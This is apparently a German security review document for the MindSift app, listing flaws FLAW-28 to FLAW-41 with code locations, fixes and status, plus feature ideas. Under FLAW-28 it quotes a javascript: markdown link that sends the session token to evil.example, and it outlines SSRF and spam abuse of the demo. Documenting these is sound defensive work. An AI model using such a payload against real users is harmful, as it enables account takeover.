# Schwachstellen, Risiken & Ideen Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben. Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit). --- ## Übersicht | ID | Bereich | Kurzbeschreibung | Schwere | |---|---|---|---| | FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** | | FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** | | FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** | | FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** | | FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel | | FLAW-33 | Demo | Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen) | Mittel | | FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig | | FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig | | FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig | | FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig | | FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig | | FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig | | FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig | | FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig | --- ## Details ### FLAW-28: `javascript:`-Links in Markdown - **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`. - **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu ``. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz. - **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt. - **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29). ### FLAW-29: Keine Sicherheits-Header - **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen. - **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go). - **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst. - **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`. ### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar - **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`). - **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`). - **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse. - **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`. ### FLAW-31: Langlebige Sitzung im `localStorage` - **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts). - **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“. - **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz. - **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`. ### FLAW-32: Nur 40 Bit Zufall in IDs - **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab. - **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig. - **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes. ### FLAW-33: Öffentliche Demo als Absender missbrauchbar - **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)). - **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig. - **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen. - **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank. ### FLAW-34: SMTP-Passwort im Klartext - **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`. - **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup. - **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank. ### FLAW-35: `?token=` beim Webhook-Ingest - **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go). - **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login. - **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin. ### FLAW-36: Kein allgemeines Größenlimit für Anfragen - **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset). - **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden. - **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync. ### FLAW-37: Server-Backups überleben das gelöschte Konto - **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users//` ([backups.go](../internal/api/backups.go)). - **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf. - **Maßnahme:** Beim Löschen eines Kontos `backups/users//` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen. ### FLAW-38: Große Downloads brechen nach 30 s ab - **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`). - **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht). - **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE. ### FLAW-39: Kein Rate-Limit außerhalb des Logins - **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung. - **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst. - **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern. ### FLAW-40: Einladungscode doppelt einlösbar - **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`. - **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch. - **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht. ### FLAW-41: Sehr große Frontend-Dateien - **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700). - **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab. - **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen. --- ## Ideen für Funktionen ### Erfassen - **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen. - **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit. - **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen. ### Aufgaben & Erinnerungen - **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail. - **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe. - **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle. - **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender). - **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“. ### Notizen - **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt. - **Bilder und Anhänge** in Notizen. - **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“). - **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum. - **Verlinkungs-Graph** auf Basis der Backlinks. ### Listen - **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts. - **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen). ### Konto & Sicherheit - **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**. - **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups. - **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert. ### Betrieb - **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben. - **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft. - **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.